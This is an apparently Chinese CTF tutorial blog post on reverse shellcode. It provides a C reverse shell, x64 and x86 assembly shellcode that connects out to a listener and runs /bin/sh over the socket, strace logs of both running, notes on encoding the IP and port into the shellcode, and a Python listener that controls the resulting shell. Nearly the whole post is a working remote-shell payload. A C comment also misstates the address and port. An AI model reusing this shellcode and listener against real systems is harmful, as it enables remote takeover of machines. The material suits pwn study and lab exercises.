反向shellcode

有时候会遇到靶机不支持交互的情况,这时候就需要我们执行反向shellcode来拿shell。

实验文件打包下载:http://file.eonew.cn/ctf/pwn/reverse_shellcode.zip

reverse_shell.c

#include <sys/socket.h> //构造socket所需的库
#include <netinet/in.h> //定义sockaddr结构
#include <arpa/inet.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>

extern int errno;

int main()
{
    int soc, remote;              //文件描述符句柄
    struct sockaddr_in serv_addr; //保存IP/端口值的结构

    serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); //将socket的地址设置为所有本地地址
    serv_addr.sin_port = htons(1000);                   //设置socket的端口48059
    serv_addr.sin_family = AF_INET;                     //设置协议族:IP

    soc = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    remote = connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in));

    if (remote == -1)
    {
        puts(strerror(errno));
    }

    dup2(soc, 0); //将stdin连接client
    dup2(soc, 1); //将stdout连接client
    // dup2(soc, 2); //将strderr连接到client

    execve("/bin/sh", NULL, NULL); //建立一个shell

    return 0;
}

64位


;// compiled :  gcc -c reverse_shellcode_x64.s
;//             ld -e main reverse_shellcode_x64.o -o reverse_shellcode_x64
    .intel_syntax noprefix
    .text
    .globl  main
    .type   main, @function
main:
    ;// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
    mov rdi, 2
    mov rsi, 1
    mov rdx, 0
    mov rax, 41 ;// SYS_socket
    syscall

    ;// connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in))
    mov rdi, rax
    mov rax, 0x0100007fe8030002
    push rax
    mov rsi, rsp
    mov rdx, 16
    mov rax, 42 ;// SYS_connect
    syscall

    ;// dup2(soc, 0)
    mov rdi, 3
    mov rsi, 0
    mov rax, 33 ;// SYS_dup2
    syscall

    ;// dup2(soc, 1)
    mov rdi, 3
    mov rsi, 1
    mov rax, 33 ;// SYS_dup2
    syscall

    ;// execve("/bin/sh", NULL, NULL)
    mov rax,0x0068732f6e69622f
    push rax
    mov rdi,rsp
    mov rax,59
    mov rsi,0
    mov rdx,0
    syscall

    ;// exit(0)
    mov rdi, 0
    mov rax, 60
    syscall

运行实例

ex@Ex:~/test$ strace ./reverse_shellcode_x64 
execve("./reverse_shellcode_x64", ["./reverse_shellcode_x64"], 0x7ffc54cbcb70 /* 70 vars */) = 0
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(1000), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
dup2(3, 0)                              = 0
dup2(3, 1)                              = 1
execve("/bin/sh", NULL, NULL)           = 0

32位


;// compiled :  gcc -c -m32 reverse_shellcode_x86.s
;//             ld -e main -melf_i386 reverse_shellcode_x86.o -o reverse_shellcode_x86
    .intel_syntax noprefix
    .text
    .globl  main
    .type   main, @function
main:
    ;// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
    push 0
    push 1
    push 2
    mov ecx, esp
    mov ebx, 1 ;// socket
    mov eax, 102 ;// SYS_socketcall
    int 0x80

    ;// connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in))
    push 0x0100007f
    push 0xe8030002
    mov edx, esp ;// Save the address of the structure
    push 0x10
    push edx
    push 3 ;// fd
    mov ecx, esp
    mov ebx, 3 ;// connect
    mov eax, 102 ;// SYS_socketcall
    int 0x80

    ;// dup2(soc, 0)
    mov ebx, 3
    mov ecx, 0
    mov eax, 63 ;// SYS_dup2
    int 0x80

    ;// dup2(soc, 1)
    mov ebx, 3
    mov ecx, 1
    mov eax, 63 ;// SYS_dup2
    int 0x80

    ;// execve("/bin/sh", NULL, NULL)
    push 0x0068732f
    push 0x6e69622f
    mov ebx,esp
    mov eax,0x0b
    mov ecx,0
    mov edx,0
    int 0x80

    ;// exit(0)
    mov ebx, 0
    mov eax, 1
    int 0x80

运行实例

ex@Ex:~/test$ strace ./reverse_shellcode_x86 
execve("./reverse_shellcode_x86", ["./reverse_shellcode_x86"], 0x7fff669cecf0 /* 70 vars */) = 0
strace: [ Process PID=8138 runs in 32 bit mode. ]
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(1000), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
dup2(3, 0)                              = 0
dup2(3, 1)                              = 1
execve("/bin/sh", NULL, NULL)           = 0

上面两段shellcode中的0100007fip地址,表示的是127.0.0.1e8030002中的e803其实是03e8,也就是1000端口,而0002表示的是AF_INET

控制脚本

#!/usr/bin/python
# -*- coding: UTF-8 -*-

import socket               # 导入 socket 模块
import thread

def print_recv(s):
    while(s):
        result = s.recv(1024)
        if(result):
            print(result)
        else:
            return

s = socket.socket()         # 创建 socket 对象
host = '0.0.0.0'  # 获取本地主机名
port = 1000                # 设置端口
s.bind((host, port))        # 绑定端口

s.listen(1)                 # 等待客户端连接
while True:
    c, addr = s.accept()     # 建立客户端连接
    print ('连接地址:' + str(addr))
    try:
        thread.start_new_thread(print_recv, (c, ))
        while(True):
            c.send(raw_input() + '\n')
    except Exception as e:
        print(e)
        print("Disconnect")
        c.close()

参考资料:https://www.cnblogs.com/shanmao/archive/2012/12/26/2834210.html

说点什么

avatar
  Subscribe  
提醒